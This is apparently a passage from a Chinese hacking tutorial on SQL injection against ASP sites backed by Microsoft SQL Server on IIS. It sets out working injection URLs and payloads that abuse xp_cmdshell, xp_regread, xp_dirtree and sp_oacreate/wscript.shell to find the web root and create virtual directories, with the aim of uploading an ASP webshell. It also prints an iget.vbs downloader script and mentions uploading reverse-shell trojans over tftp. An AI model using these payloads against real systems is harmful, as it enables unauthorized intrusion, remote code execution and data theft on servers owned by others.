|
如果发现1没有的话,我们可以该成2,3,4...........
a’;exec master..xp_cmdshell ’cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/2/root>a.txt’;--
但是这种方法只能在windows2000下使用,因为2003下新建的网站所在地址不是按照1234来排列的,好像是随机生成的,个人比较过几个2003下的
地址,没有发现什么规律.
优缺点分析
同上xp_cmdshell不是每一个用户都可以用的!还有一个问题是adsutil文件不一定存在,或者不一定在那个路径上,当然如果你原意的话你可以用
echo写一个(哈哈,老多老多行的哟),另外的一个问题是,如果主机上有很多站点怎么办?我遇到过一个有九个站点的主机,胆识只有第8个是有用
的,晕了吧,很难有人有嗯那个耐性会坚持到那么多的,早就崩溃了或许.还有就是不能在2003下用!
不过说实话,这个方法的确是一个好方法
方法四:
这个方法是要饭的提到的,通过xp_regread等从注册表里读出路径
以下推荐,获取网页路径(通过存储过程达到对注册表的读取):
利用内置存储过程 xp_regread(读取注册表键值,权限public):
语句:
http://www.xxx.com/list.asp?classid=1;create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test
varchar(20) exec master..xp_regread @rootkey= HKEY_LOCAL_MACHINE , @key=
SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\ , @value_name= / , values=@test OUTPUT insert into paths
(path) values(@test)
IIS的默认路径的在注册表中HKEY_LOCAL_MACHINE\ SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\
利用爆字段将数据库的值读出来:
语句:
http://www.xxx.com/list.asp?classid=1 and 0<>(select top 1 paths from newtable)--返回: Microsoft OLE DB Provider for
ODBC Drivers 错误 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server]将 varchar 值 E:\www,,201 转换为数据类型为 int 的
列时发生语法错误。
这说明网页目录在E:\www,接下来也可以利用FSO直接写入ASP木马
如果得不到网页目录,怎么办呢?前提你要猜到网站是否使用默认WEB,或者使用域名作为WEB。
declare @o int exec sp_oacreate wscript.shell , @o out exec sp_oamethod @o, run , NULL,’ cscript.exe c:
\inetpub\wwwroot\mkwebdir.vbs -w "默认 Web 站点" -v "e","e:\"’
在默认的WEB站点下创建一个虚拟目录E,指向E:盘下。
declare @o int exec sp_oacreate wscript.shell , @o out exec sp_oamethod @o, run , NULL,’ cscript.exe c:
\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e browse’
给虚拟目录e加上浏览属性不错吧。给自己开虚拟服务。想那些网页目录路径,头都快破了。这下给自己一个天开眼了。那传WEBSHELL利用MS
SQL为我们的工作告了一段落了,接下来工作应该由你来了。
哈哈,方法不错哟,通过注册表来读,方便快捷!
优缺点分析:
优点当然是方便快捷了。缺点是只能察看默认的iis站点的路径,如果不再默认的站点那就无能为力了(我用regsnape跟踪过),如果在2003下
那就是连默认的站点路径也不显示了!痛苦中
顺便说两句,
实际上除了找网站路径的方法外,还是有别的方法来继续入侵的,比如说通过tftp来上传反弹木马,或者是通过写一个iget.vbs来下载你想要的东东
iget.vbs代码如下:
---------start----------
Set xPost = createObject("Microsoft.XMLHTTP")
xPost.Open "GET",LCase(WScript.Arguments(0)),0
xPost.Send()
Set sGet = createObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile LCase(WScript.Arguments(1)),2
----------end-----------
对此文的在补充
近日发现对毛主席大人的指示理解不够深刻,特在此表示补充
实际上上面的各种方法根本就不需要比较了xp_dirtree是最好的,只要这一种方法就够了
只是因为我当初太..............
今日将xp_dirtree的秘密再挖一下
好,我们exec master..xp_dirtree’d:/test’
假设我们在test里有两个文件夹test1和test2在test1里又有test3
结果显示
subdirectory depth
test1 1
test3 2
test2 1
哈哈发现没有那个depth就是目录的级数
ok了,知道怎么办了吧
http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)--
http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree ’d:\’ --
http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-
只要加上id=1,就是第一级目录 。
|